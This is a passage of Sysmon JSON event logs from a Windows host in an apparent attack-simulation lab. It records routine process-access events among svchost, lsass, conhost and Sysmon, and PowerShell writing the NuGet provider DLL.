C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-0010D9610600}\r\nTargetProcessId: 4216\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-0010D9610600}","TargetProcessId":"4216","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:42.397\r\nProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Program Files\\PackageManagement\\ProviderAssemblies\\nuget\\2.8.5.208\\Microsoft.PackageManagement.NuGetProvider.dll\r\nCreationUtcTime: 2020-08-07 11:55:42.397","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:42.397","ProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Program Files\\PackageManagement\\ProviderAssemblies\\nuget\\2.8.5.208\\Microsoft.PackageManagement.NuGetProvider.dll","CreationUtcTime":"2020-08-07 11:55:42.397","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:42.803\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:42.803","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:42.803\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: 